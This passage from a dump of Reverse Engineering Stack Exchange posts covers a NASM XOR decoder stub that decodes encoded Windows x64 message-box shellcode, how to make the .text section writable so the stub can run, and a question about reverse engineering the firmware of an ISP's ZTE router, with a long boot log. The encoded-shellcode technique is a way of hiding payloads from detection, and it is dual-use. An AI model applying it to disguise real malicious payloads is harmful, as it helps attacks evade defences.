0xce, 0xc8, 0xcf, 0xcf, 0xcc, 0xaa, 0xe3, 0x23, 0x67, 0xcd, 0xeb, 0x21, 0xef, 0x96, 0xcd, 0xef, 0x21, 0x1e, 0xaf, 0x22, 0xaa, 0xaa, 0xaa, 0xef, 0xab, 0x44, 0xcd, 0xef, 0x21, 0xfc, 0xb2, 0xcd, 0xeb, 0x21, 0xf4, 0x8a, 0xee, 0xab, 0x41, 0xcd, 0x49, 0x95, 0xeb, 0x55, 0x60, 0xcd, 0xe8, 0x21, 0x9e, 0x39, 0xee, 0xab, 0x44, 0x9b, 0x55, 0x9b, 0x6a, 0x56, 0x6, 0x2e, 0x6a, 0xde, 0xad, 0x6b, 0x65, 0xa7, 0xab, 0x6d, 0x41, 0x5e, 0x93, 0x7d, 0xdf, 0x77, 0xcd, 0xeb, 0x21, 0xf4, 0x8e, 0xee, 0xab, 0x41, 0x9b, 0x63, 0xcc, 0xcd, 0xe8, 0x21, 0xa6, 0xf9, 0xcd, 0xeb, 0x21, 0xf4, 0xb6, 0xee, 0xab, 0x41, 0xcd, 0x21, 0xae, 0x21, 0xee, 0xab, 0x42, 0x69\n</code></pre>\n\n<p>After you do this the result is</p>\n\n<p><a href=\"https://i.stack.imgur.com/iy3HP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iy3HP.png\" alt=\"enter image description here\"></a></p>\n\n<p>Full code:</p>\n\n<pre><code>bits 64\nsection .text\nglobal start\n\nstart:\n        jmp find_address\n\ndecoder:\n        pop rdi\n        xor rcx, rcx\n        add cx, 262\ndecode:\n        xor byte [rdi],0xAA\n        inc rdi\n        loop decode\n\n        jmp short encoded_shellcode\n\nfind_address:\n        call decoder\n\n\nencoded_shellcode: \n       db 0xe2, 0x29, 0x46, 0x82, 0xe2, 0x29, 0x4e, 0x5a, 0xcf, 0xe6, 0x21, 0x8e, 0x8f, 0xca, 0xaa, 0xaa, 0xaa, 0xe7, 0x21, 0xce, 0x8e, 0xb2, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xd6, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0x10, 0x24, 0xe4, 0xa4, 0x46, 0xe6, 0x23, 0x4b, 0x42, 0xc2, 0xaa, 0xaa, 0xaa, 0x41, 0x9e, 0xf3, 0x55, 0x7a, 0x10, 0x2, 0x8, 0xe7, 0x16, 0xe2, 0x23, 0x6b, 0x42, 0xfc, 0xaa, 0xaa, 0xaa, 0xe2, 0x23, 0x69, 0xe7, 0x9b, 0x63, 0x41, 0x94, 0xeb, 0xf2, 0x41, 0x82, 0xf0, 0xe2, 0x9b, 0x63, 0x55, 0x79, 0x10, 0xda, 0x67, 0x95, 0x87, 0xe6, 0x23, 0x53, 0x42, 0x9d, 0xaa, 0xaa, 0xaa, 0xe2, 0x9b, 0x63, 0x55, 0x7a, 0x42, 0x6d, 0x55, 0x55, 0x55, 0xdf, 0xd9, 0xcf, 0xd8, 0x99, 0x98, 0x84, 0xce, 0xc6, 0xc6, 0xaa, 0x42, 0x79, 0x55, 0x55, 0x55, 0xfe, 0xc2, 0xc3, 0xd9, 0x8a, 0xc3, 0xd9, 0x8a, 0xcc, 0xdf, 0xc4, 0x8b, 0xaa, 0x42, 0x17, 0x55, 0x55, 0x55, 0x9a, 0xd2, 0xce, 0xcf, 0xcb, 0xce, 0xc8, 0xcf, 0xcf, 0xcc, 0xaa, 0xe3, 0x23, 0x67, 0xcd, 0xeb, 0x21, 0xef, 0x96, 0xcd, 0xef, 0x21, 0x1e, 0xaf, 0x22, 0xaa, 0xaa, 0xaa, 0xef, 0xab, 0x44, 0xcd, 0xef, 0x21, 0xfc, 0xb2, 0xcd, 0xeb, 0x21, 0xf4, 0x8a, 0xee, 0xab, 0x41, 0xcd, 0x49, 0x95, 0xeb, 0x55, 0x60, 0xcd, 0xe8, 0x21, 0x9e, 0x39, 0xee, 0xab, 0x44, 0x9b, 0x55, 0x9b, 0x6a, 0x56, 0x6, 0x2e, 0x6a, 0xde, 0xad, 0x6b, 0x65, 0xa7, 0xab, 0x6d, 0x41, 0x5e, 0x93, 0x7d, 0xdf, 0x77, 0xcd, 0xeb, 0x21, 0xf4, 0x8e, 0xee, 0xab, 0x41, 0x9b, 0x63, 0xcc, 0xcd, 0xe8, 0x21, 0xa6, 0xf9, 0xcd, 0xeb, 0x21, 0xf4, 0xb6, 0xee, 0xab, 0x41, 0xcd, 0x21, 0xae, 0x21, 0xee, 0xab, 0x42, 0x69\n</code></pre>\n"
    },
    {
        "Id": "16278",
        "CreationDate": "2017-09-06T02:30:47.147",
        "Body": "<p>I have a basic XOR decoder that functions perfectly in Linux, but when I try to move it over to an exe in windows, it fails. I am leaving this question open for historical reference since the issue persists.<a href=\"https://reverseengineering.stackexchange.com/questions/16274/working-linux-assembly-xor-encoder-decoder-failing-on-windows\">here</a>\nIt has been suggested that in the assembly decoder, the .text section is not writeable <strong>in windows</strong>. How can I make this assembly decoder execute and decode/XOR from the .text section in windows as an exe?</p>\n\n<p>Steps to convert encoder to win 7 64</p>\n\n<ol>\n<li>nasm -fwin64  Workingwin7messageBoxassembly.nasm -o xorencoder.obj</li>\n<li>Extract shellcode from obj file</li>\n<li>Insert  into encoder.nasm</li>\n<li>Assemble encoder nasm -fwin64  encoder.nasm -o xorencoder.obj</li>\n<li>On Windows use golink to create exe. golink \\console xorencoder.obj</li>\n<li>run exe and crash.</li>\n</ol>\n\n<p>Tools above have been verified to work to assemble the Workingwin7messageBoxassembly.nasm and create a working exe from golink.</p>\n\n<p>This approach breaks when I include the extracted shellcode from the assembled/linked Workingwin7messageBoxassembly.nasm and try to have the decoder below call and decode the shellcode. The shellcode below in the encoded_shellcode: section is a XORed version of a win 7-64 message box found <a href=\"https://www.tophertimzen.com/blog/windowsx64Shellcode/\" rel=\"noreferrer\">here</a>. This method has an access violation when trying to XOR the contents of encoded_shellcode:.</p>\n\n<pre><code>    bits 64\n    section .text\n    global start\n\n    start:\n            jmp find_address\n\n    decoder:\n            pop rdi\n            xor rcx, rcx\n            add rax, 260\n    decode:\n            xor byte [rdi], 0xAA\n            inc rdi\n            loop decode\n\n            jmp short encoded_shellcode\n\n    find_address:\n            call decoder\n\n            encoded_shellcode: db 0xe2,0x29,0x46,0x82,0xe2,0x29,0x4e,0x5a,0xcf,0xe6,0x21,0x8e,0x8f,0xca,0xaa,0xaa,0xaa,0xe7,0x21,0xce,0x8e,0xb2,0xe7,0x21,0xce,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xd6,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xce,0x8e,0x8a,0x10,0x24,0xe4,0xa4,0x46,0xe6,0x23,0x4b,0x42,0xc2,0xaa,0xaa,0xaa,0x41,0x9e,0xf3,0x55,0x7a,0x10,0x02,0x08,0xe7,0x16,0xe2,0x23,0x6b,0x42,0xfc,0xaa,0xaa,0xaa,0xe2,0x23,0x69,0xe7,0x9b,0x63,0x41,0x94,0xeb,0xf2,0x41,0x82,0xf0,0xe2,0x9b,0x63,0x55,0x79,0x10,0xda,0x67,0x95,0x87,0xe6,0x23,0x53,0x42,0x9d,0xaa,0xaa,0xaa,0xe2,0x9b,0x63,0x55,0x7a,0x42,0x6d,0x55,0x55,0x55,0xdf,0xd9,0xcf,0xd8,0x99,0x98,0x84,0xce,0xc6,0xc6,0x42,0x79,0x55,0x55,0x55,0xfe,0xc2,0xc3,0xd9,0x8a,0xc3,0xd9,0x8a,0xcc,0xdf,0xc4,0x8b,0xaa,0x42,0x17,0x55,0x55,0x55,0x9a,0xd2,0xce,0xcf,0xcb,0xce,0xc8,0xcf,0xcf,0xcc,0xe3,0x23,0x67,0xcd,0xeb,0x21,0xef,0x96,0xcd,0xef,0x21,0x1e,0xaf,0x22,0xaa,0xaa,0xaa,0xef,0xab,0x44,0xcd,0xef,0x21,0xfc,0xb2,0xcd,0xeb,0x21,0xf4,0x8a,0xee,0xab,0x41,0xcd,0x49,0x95,0xeb,0x55,0x60,0xcd,0xe8,0x21,0x9e,0x39,0xee,0xab,0x44,0x9b,0x55,0x9b,0x6a,0x56,0x06,0x2e,0x6a,0xde,0xad,0x6b,0x65,0xa7,0xab,0x6d,0x41,0x5e,0x93,0x7d,0xdf,0x77,0xcd,0xeb,0x21,0xf4,0x8e,0xee,0xab,0x41,0x9b,0x63,0xcc,0xcd,0xe8,0x21,0xa6,0xf9,0xcd,0xeb,0x21,0xf4,0xb6,0xee,0xab,0x41,0xcd,0x21,0xae,0x21,0xee,0xab,0x42,0x69\n</code></pre>\n\n<p>I edited the .text section using LordPE to  make the .text section in the exe writeable to allow the decoder to read from the .text section to decode. It still fails. How do I get this assembly decoder to decode?</p>\n",
        "Title": "How to Make .text Section in Assembly Writeable for Win7-64 EXE",
        "Tags": "|disassemblers|shellcode|nasm|assembly|",
        "Answer": "<p>I <a href=\"http://www.godevtool.com/GolinkHelp/GoLink.htm\" rel=\"nofollow noreferrer\">don't see that option</a> in <code>golink</code> linker but if you use i.e. <code>link.exe</code> (Microsoft (R) Incremental Linker Version 14.11.25506.0) then you can use <code>/SECTION</code> parameter to specify that.</p>\n\n<blockquote>\n  <p>link /SUBSYSTEM:CONSOLE /ENTRY:start xor.obj /SECTION:.text,RWE</p>\n</blockquote>\n\n<p>After that if you display memory map in xdbg you'll see the change:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Ya49r.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ya49r.png\" alt=\"enter image description here\"></a></p>\n\n<p>After that, you encoder can modify the code in it</p>\n\n<p><a href=\"https://i.stack.imgur.com/9CUN4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9CUN4.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "16290",
        "CreationDate": "2017-09-07T03:04:17.147",
        "Body": "<p>I was searching through my routers admin page some time ago and I've noticed that it doesn't support firmware updates by the user(<em>it's an ISP's <strong>speedport entry 2i</strong> router(zte variant)</em>). So long story short, after searching through tons of forum comments about that particular model, I've figured that I could probably reverse engineer its firmware(that \"they\"[isp guys] for some reason have available for download at their website) and check how the updates are delivered, a way to disable tr 069 etc. </p>\n\n<p>Having no experience with reverse engineering I've used google to find some kind of tutorial that would get me started and I kinda did.</p>\n\n<p>So after reading a few things about every tool referred there I figured I could probably do it.\nBut my firmware wasn't like the one at the example(not sure if it's easier or harder though) so after trying some other things that I thought might work I hit a dead end. Here is a <a href=\"https://mega.nz/#!ScBQQJBI!9yC8jr96WijP1BlJkrjheT7z2mNHjiS8XSpVsmY-_yY\" rel=\"nofollow noreferrer\">link</a> with all the files I've got so far in case someone want to check them out and maybe point me to the right direction or even try it him/her-self. I would also love any pro-tip in general.</p>\n\n<p>Binwalk gives me the following output <a href=\"https://i.stack.imgur.com/hyIyJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hyIyJ.png\" alt=\"this\"></a> so after I found a way to extract the lzma archive I got these 2 files that I don't know how to approach (.7z file is an lzma archive but I've tried unpacking it with binwalk without any luck). I am probably missing something due to the lack of knowledge on the subject, so if any of you out there can help me, please do.</p>\n\n<p>Thank you in advance for your time :) </p>\n",
        "Title": "Speedport entry 2i zte home router's firmware",
        "Tags": "|binary-analysis|firmware|",
        "Answer": "<p>I also took a look in this router. The serial port works fine, yet the cfe bootloaded seems locked (while is booting dosen't give you the opportunity to stop the process). After the boot process they did provide a shell but they ask for login credentials. Which still don't know.\nI took a look at the firmware update. Extracting from the jffs2 partition didn't work very well for me. I see the formal linux structure (etc, root, bin ..) yet the only folder having files is the /bin which is not particular useful. Did anyone had any success extracting the /etc folder ?\nMy guess at this point is that a nand flash dump is the way to proceed or a exploit in the web ui that can give us root and continue for there.</p>\n\n<p>that the boot log:</p>\n\n<pre><code>----\nBTL1\nV1.1\nCPUI\nL1CI\nPMCI\nPMCS\nAFEL\nPWRZ\nMEML\nPMCD\nCPUI\nL1CI\nZBSS\nCODE\nDATA\nL12F\nMAIN\nOTP?\nMFGZ\nOTPP\nUSBT\nSNAN\nPASS\n----\nHELO\nCPUI\nL1CI\n4.1602-1.0.38-116.118\nPMCI\nPMCM\nDRAM\n----\nPHYS\nPHYE\nDDR1\n400H\nSIZ4\nLMBE\nRACE\nPASS\n----\nZBSS\nCODE\nDATA\nL12F\nMAIN\nMGIC\nRAM1\n\n\nBase: 4.16_02\nCFE version 1.0.38-116.118 for BCM963381 (32bit,SP,BE)\nBuild Date: Thu Nov 16 19:47:34 CST 2017 (xialei@localhost.localdomain)\nCopyright (C) 2000-2013 Broadcom Corporation.\n\nChip ID: BCM63381B0, MIPS: 600MHz, DDR: 400MHz, Bus: 300MHz\nMain Thread: TP0\nTotal Memory: 134217728 bytes (128MB)\nBoot Address: 0xb8000000\n\nSPI NAND flash device: Winbond W25N01GV, id 0xefaa block 128KB size 131072KB\npmc_init:PMC using DQM mode\nboard_device_init, set not used GPIO to 0 OK!\nInfo: get a version head, the integrality is OK!\nInfo: start_block:[120],kernel_magic_head at :[120], i:[257],ver_blocks:[137]\nInfo: get a version head, the integrality is OK!\nInfo: start_block:[288],kernel_magic_head at :[288], i:[425],ver_blocks:[137]\n\nEntering norm mode ...\nInfo: start_block:120\nInfo: bad blocks before fs:0\nInfo: pL-&gt;dwFsStartPhyAddr:10a0000\nInfo: pL-&gt;fs_len:f80000\npara-&gt;BootParaCksum=0001e693\nDecompression OK!\nEntry at 0x803976c0\nStarting program at 0x803976c0\nLinux version 3.4.11-rt19 (xialei@localhost.localdomain) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Mon Mar 19 17:38:03 CST 2018\n963381REF2 prom init\nCheck boot para cksum...\nboot para cksum OK!\n********************BOOT INFO**************************\nversion_sum:             :      2\nversion_nummax:          :      2\ndwCurrVersionIndex:      :      0\ndwBackVersionIndex:      :      1\n\ndwVersionStartPhyAddr   0:      f00000\ndwHeadRealPhyAddr       0:      2020000\ndwIsCurrentVersion      0:      1\ndwVersionIsBad          0:      0\n\ndwVersionStartPhyAddr:  1:      2400000\ndwHeadRealPhyAddr:      1:      3520000\ndwIsCurrentVersion:     1:      0\ndwVersionIsBad          1:      0\n******************************************************\npdt_verinfo_init: tcVerInfo-&gt;RunMode[3]\nbootPara.bootWhichImg=0\nbootPara.img_info_tbl[0].flashOffset=0x       0\nsHardVersion=V1.0\nbootPara.runmode=3\nCPU revision is: 0002a081 (Broadcom BMIPS4350)\nDSL SDRAM reserved: 0x132000\nDetermined physical RAM map:\n memory: 07ece000 @ 00000000 (usable)\nInitrd not found or empty - disabling initrd\nZone PFN ranges:\n  DMA      0x00000000 -&gt; 0x00001000\n  Normal   0x00001000 -&gt; 0x00007ece\nMovable zone start PFN for each node\nEarly memory PFN ranges\n    0: 0x00000000 -&gt; 0x00007ece\nOn node 0 totalpages: 32462\nfree_area_init_node: node 0, pgdat 804b1750, node_mem_map 81000000\n  DMA zone: 32 pages used for memmap\n  DMA zone: 0 pages reserved\n  DMA zone: 4064 pages, LIFO batch:0\n  Normal zone: 222 pages used for memmap\n  Normal zone: 28144 pages, LIFO batch:7\nPERCPU: Embedded 7 pages/cpu @81103000 s5632 r8192 d14848 u32768\npcpu-alloc: s5632 r8192 d14848 u32768 alloc=8*4096\npcpu-alloc: [0] 0 [0] 1 \nBuilt 1 zonelists in Zone order, mobility grouping on.  Total pages: 32208\nKernel command line: root=31:9 ro rootfstype=jffs2  irqaffinity=0\nPID hash table entries: 512 (order: -1, 2048 bytes)\nDentry cache hash table entries: 16384 (order: 4, 65536 bytes)\nInode-cache hash table entries: 8192 (order: 3, 32768 bytes)\nPrimary instruction cache 64kB, VIPT, 4-way, linesize 16 bytes.\nPrimary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes\nMemory: 122200k/129848k available (3668k kernel code, 7648k reserved, 1076k data, 240k init, 0k highmem)\nPreemptible hierarchical RCU implementation.\nNR_IRQS:128\nconsole [ttyS0] enabled\nAllocating memory for DSP module core and initialization code\nAllocated DSP module memory - CORE=0x0 SIZE=0, INIT=0x0 SIZE=0\nCalibrating delay loop... 598.01 BogoMIPS (lpj=299008)\npid_max: default: 32768 minimum: 301\nMount-cache hash table entries: 512\n--Kernel Config--\n  SMP=1\n  PREEMPT=1\n  DEBUG_SPINLOCK=0\n  DEBUG_MUTEXES=0\nBroadcom Logger v0.1 Mar 19 2018 17:37:42\nCPU revision is: 0002a081 (Broadcom BMIPS4350)\nPrimary instruction cache 64kB, VIPT, 4-way, linesize 16 bytes.\nPrimary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes\nBrought up 2 CPUs\nNET: Registered protocol family 16\npmc_init:PMC using DQM mode\n1192:57:47 [Klogctl][Info] [(562)LogCtlInit] LogCtlInit begin\n1192:57:47 [Klogctl][Info] [(579)LogCtlInit] LogCtlInit end\n1192:57:47 [Kern][Notice] [monitor.c(938)MonitorInit]  cspmonitor init... !  \nregistering PCI controller with io_map_base unset\nregistering PCI controller with io_map_base unset\nBLOG v3.0 Initialized\nBLOG Rule v1.0 Initialized\nBroadcom GBPM v0.1 Mar 19 2018 17:37:43 initialized\nbio: create slab &lt;bio-0&gt; at 0\nSCSI subsystem initialized\nusbcore: registered new interface driver usbfs\nusbcore: registered new interface driver hub\nusbcore: registered new device driver usb\nPCI host bridge to bus 0000:00\npci_bus 0000:00: root bus resource [mem 0x10600000-0x106fffff]\npci_bus 0000:00: root bus resource [io  0x11700000-0x1170ffff]\npci 0000:00:09.0: [14e4:6300] type 00 class 0x0c0310\npci 0000:00:09.0: reg 10: [mem 0x1000c400-0x1000c4ff]\npci 0000:00:0a.0: [14e4:6300] type 00 class 0x0c0320\npci 0000:00:0a.0: reg 10: [mem 0x1000c300-0x1000c3ff]\nPCI host bridge to bus 0000:01\npci_bus 0000:01: root bus resource [mem 0xa0000000-0xbfffffff]\npci_bus 0000:01: root bus resource [??? 0x00000000 flags 0x0]\npci 0000:01:00.0: [14e4:6338] type 01 class 0x060400\npci 0000:01:00.0: PME# supported from D0 D3hot\npci 0000:02:00.0: [14e4:a8db] type 00 class 0x028000\npci 0000:02:00.0: reg 10: [mem 0x00000000-0x00007fff 64bit]\npci 0000:02:00.0: supports D1 D2\npci 0000:01:00.0: BAR 8: assigned [mem 0xa0000000-0xa00fffff]\npci 0000:02:00.0: BAR 0: assigned [mem 0xa0000000-0xa0007fff 64bit]\npci 0000:01:00.0: PCI bridge to [bus 02-02]\npci 0000:01:00.0:   bridge window [mem 0xa0000000-0xa00fffff]\nPCI: Enabling device 0000:01:00.0 (0000 -&gt; 0002)\nbcmhs_spi bcmhs_spi.1: master is unqueued, this is deprecated\nskbFreeTask created successfully\nNET: Registered protocol family 8\nNET: Registered protocol family 20\n1192:57:47 [Kern][Info] [qos.c(5055)CSPKernel_QoS_I] Qos module init\nSwitching to clocksource MIPS\nNET: Registered protocol family 2\nIP route cache hash table entries: 1024 (order: 0, 4096 bytes)\nTCP established hash table entries: 4096 (order: 3, 32768 bytes)\nTCP bind hash table entries: 4096 (order: 3, 32768 bytes)\nTCP: Hash tables configured (established 4096 bind 4096)\nTCP: reno registered\nUDP hash table entries: 128 (order: 0, 4096 bytes)\nUDP-Lite hash table entries: 128 (order: 0, 4096 bytes)\nNET: Registered protocol family 1\nPCI: CLS 16 bytes, default 16\ninit_bcm_tstamp: unhandled mips_hpt_freq=300000000, adjust constants in bcm_tstamp.c\nbcm_tstamp initialized, (hpt_freq=300000000 2us_div=300 2ns_mult=0 2ns_shift=0)\njffs2: version 2.2. (NAND) \u00a9 2001-2006 Red Hat, Inc.\nmsgmni has been set to 238\nio scheduler noop registered (default)\nbrd: module loaded\nloop: module loaded\nSPI NAND Device Linux Registration\nSPI NAND Linux Registration\nSPI NAND device reset\nFound SPI NAND device Winbond W25N01GV\nSPI NAND device Winbond W25N01GV\n   device id    = 0xefaa\n   page size    = 0x800\n   block size   = 0x20000\n   total blocks = 0x400\n   total size   = 0x8000000\nNAND device: Manufacturer ID: 0xef, Chip ID: 0xaa (Winbond NAND 128MiB 1,8V 8-bit)\nNAND_ECC_NONE selected by board driver. This is not recommended!\nCreating 10 MTD partitions on \"Winbond W25N01GV\":\n0x000000000000-0x000000220000 : \"boot\"\n0x000000220000-0x000000320000 : \"tag\"\n0x000000320000-0x0000004a0000 : \"userconfig\"\n0x0000004a0000-0x000000620000 : \"backconfig\"\n0x000000620000-0x0000007a0000 : \"defconfig\"\n0x0000007a0000-0x000000920000 : \"log\"\n0x000000920000-0x000000aa0000 : \"env\"\n0x000000f00000-0x000002400000 : \"rootfs1\"\n0x000002400000-0x000003900000 : \"rootfs2\"\n0x0000010a0000-0x000002020000 : \"filesystem\"\nbrcmboard: brcm_board_init entry\nFailed to create a netlink socket for monitor\nDYING GASP IRQ initialized \nSerial: BCM63XX driver $Revision: 3.00 $\nMagic SysRq with Auxilliary trigger char enabled (type ^ h for list of supported commands)\nttyS0 at MMIO 0xb0000280 (irq = 8) is a BCM63XX\nttyS1 at MMIO 0xb00002a0 (irq = 9) is a BCM63XX\nTotal # RxBds=5154\nbcmPktDmaBds_init: Broadcom Packet DMA BDs initialized\n\nBPM: tot_mem_size=134217728B (128MB), buf_mem_size &lt;15%&gt; =20132655B (19MB), num of buffers=9679, buf size=2080\nBroadcom BPM Module Char Driver v0.1 Mar 19 2018 17:37:47 Registered&lt;244&gt;\nInfo:zte_watchdog_init, errorEPC = 0f7e7716\npktgen: Packet Generator for packet performance testing. Version: 2.74\nNetfilter messages via NETLINK v0.30.\nnf_conntrack version 0.5.0 (1909 buckets, 7636 max)\nip_tables: (C) 2000-2006 Netfilter Core Team\nNET: Registered protocol family 10\nip6_tables: (C) 2000-2006 Netfilter Core Team\nIPv6 over IPv4 tunneling driver\nNET: Registered protocol family 17\n1192:57:48 [Kern][Info] [br_com_special_(109)arp_stolen_init] arp_stolen firewalling registered\nBridge firewalling registered\nEbtables v2.0 registered\nL2TP core driver, V2.0\nPPPoL2TP kernel driver, V2.0\nPPP generic driver version 2.4.2\nNET: Registered protocol family 24\n1192:57:48 [Kern][Info] [ver_info_nand.c(457)ver_info_init] ver_info_init\n1192:57:48 [Kern][Notice] [csp_ifinfo.c(219)csp_ifinfo_init] Initializing CSP IFinfo...\n1192:57:48 [Kern][Notice] [sweth_core.c(2760)sweth_init] SW&amp;ETH HAL driver initing!\n1192:57:48 [Kern][Notice] [sweth_core.c(140)CreateSwEthObjs] Create SW &amp; ETH objects\n1192:57:48 [Kern][Notice] [sweth_core.c(156)CreateSwEthObjs] Failed to get SWITCH attr, iRet=-2\n1192:57:48 [Kern][Info] [sweth_core.c(163)CreateSwEthObjs] nEmac = 1, nSw = 0, nEth=4.\n1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!\n1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj0: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 1\n1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!\n1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj1: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 2\n1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!\n1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj2: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 3\n1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!\n1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj3: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 4\nJiffies_test Driver Init Successfully \nlogger: created 1024K log 'logger_main' major '99'\n: success register character device for /dev/monitor\n1192:57:48 [Kern][Notice] [cspmirror.c(1245)mirror_init] ***********mirror_init************\nsystools version:v0.7.0\nerrorEPC = 0f7e7716\n1192:57:48 [Kern][Info] [br_multicast_se(7234)br_mcparam_init] info init!\n1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(stb)\n1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(srtc)\n1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(trtc)\n1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(hard)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(null)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(drop)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(dscp_mark)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(vlan_prio_mark)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(dscp_vlan_prio_mark)\nchild_dev_init start\nchild_dev_ioctl_set set[80393d20]\n#######begin FDB_Notify Reg\n#######after FDB_Notify Reg\n#######begin FDB_Notify Reg\nShouldn't be in WHILE\n#######after FDB_Notify Reg\n1192:57:48 [Kern][Error] [ledkey_callback(26)keycallback_ini] Install WPS KEY Callback Failed!\nVFS: Mounted root (jffs2 filesystem) readonly on device 31:9.\nFreeing unused kernel memory: 240k freed\ninit normal mode!!!\n\nLoading drivers and kernel modules... \n\njffs2: notice: (269) check_node_data: wrong data CRC in data node at 0x00161318: read 0x90074d32, calculated 0xe9fe5f3a.\nmkdir: can't create directory '/defcfg/chain1': File exists\nmkdir: can't create directory '/defcfg/chain2': File exists\nchipinfo: module license 'proprietary' taints kernel.\nDisabling lock debugging due to kernel taint\nbrcmchipinfo: brcm_chipinfo_init entry\nbcmxtmrt: Broadcom BCM3381B0 ATM/PTM Network Device v0.6 Mar 19 2018 17:43:20\nbcmxtmcfg: bcmxtmcfg_init entry\nadsl: adsl_init entry\nBroadcom BCM63381B0 Ethernet Network Device v0.1 Mar 19 2018 17:43:02\nETH Init: Ch:0 - 200 tx BDs at 0xa639c000\nETH Init: Ch:0 - 3871 rx BDs at 0xa5d18000\nvport_cnt=4, consolidated_portmap=0xF\ndgasp: kerSysRegisterDyingGaspHandler: bcmsw registered \nvport_id=0x1, logical_port=0x0\nvnet_dev[vport_id=1]=eth0\nETH0--&gt;eth0\neth0: &lt;Int sw port: 0&gt; &lt;Logical : 00&gt; PHY_ID &lt;0x00000001 : 0x01&gt; MAC : 00:D0:D0:00:00:01\nvport_id=0x2, logical_port=0x1\nvnet_dev[vport_id=2]=eth1\nETH1--&gt;eth1\neth1: &lt;Int sw port: 1&gt; &lt;Logical : 01&gt; PHY_ID &lt;0x00000002 : 0x02&gt; MAC : 00:D0:D0:00:00:01\nvport_id=0x3, logical_port=0x2\nvnet_dev[vport_id=3]=eth2\nETH2--&gt;eth2\neth2: &lt;Int sw port: 2&gt; &lt;Logical : 02&gt; PHY_ID &lt;0x00000003 : 0x03&gt; MAC : 00:D0:D0:00:00:01\nvport_id=0x4, logical_port=0x3\nvnet_dev[vport_id=4]=eth3\nETH3--&gt;eth3\neth3: &lt;Int sw port: 3&gt; &lt;Logical : 03&gt; PHY_ID &lt;0x00000004 : 0x04&gt; MAC : 00:D0:D0:00:00:01\nEthernet Auto Power Down and Sleep: Enabled\nEnergy Efficient Ethernet: Enabled\n#######begin FDB_Notify Reg\nShouldn't be in WHILE\nShouldn't be in WHILE\n#######after FDB_Notify Reg\n#######begin FDB_Notify Reg\nShouldn't be in WHILE\nShouldn't be in WHILE\nShouldn't be in WHILE\n#######after FDB_Notify Reg\n1192:58:01 [Kern][Notice] [bcm_emac_adapte(663)Register_bcm_em] Register BCM EMAC driver\n1192:58:01 [Kern][Notice] [sweth_core.c(588)RegisterEmacDrv] Register EMAC driver\n1192:58:01 [Kern][Notice] [sweth_core.c(429)InitSwEthObjs] Initialise SW &amp; ETH objects\n1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!\n1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!\n1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!\n1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!\nNComm TMS V6.80 Kernel Module loaded.\nLoading PCM shim driver\n\nEndpoint: endpoint_init entry\nBOS: Enter bosInit \nBOS: Exit bosInit \nfxsnum 2,fx0 num 0 ,dect 0Endpoint: endpoint_init COMPLETED\nBroadcom 802.1Q VLAN Interface, v0.1\nADDRCONF(NETDEV_UP): eth0: link is not ready\ndevice eth0 entered promiscuous mode\nHost MIPS Clock divider pwrsaving is enabled\n/etc/init.norm: line 120: hostname: not found\nsched_setaffinity cpu 0 (ret = 0)\n1192:57:55 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock2  mount point is /usercfg/\n1192:57:55 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd2 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock2  at dir /usercfg/  success\n1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock3  mount point is /backcfg/\n1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd3 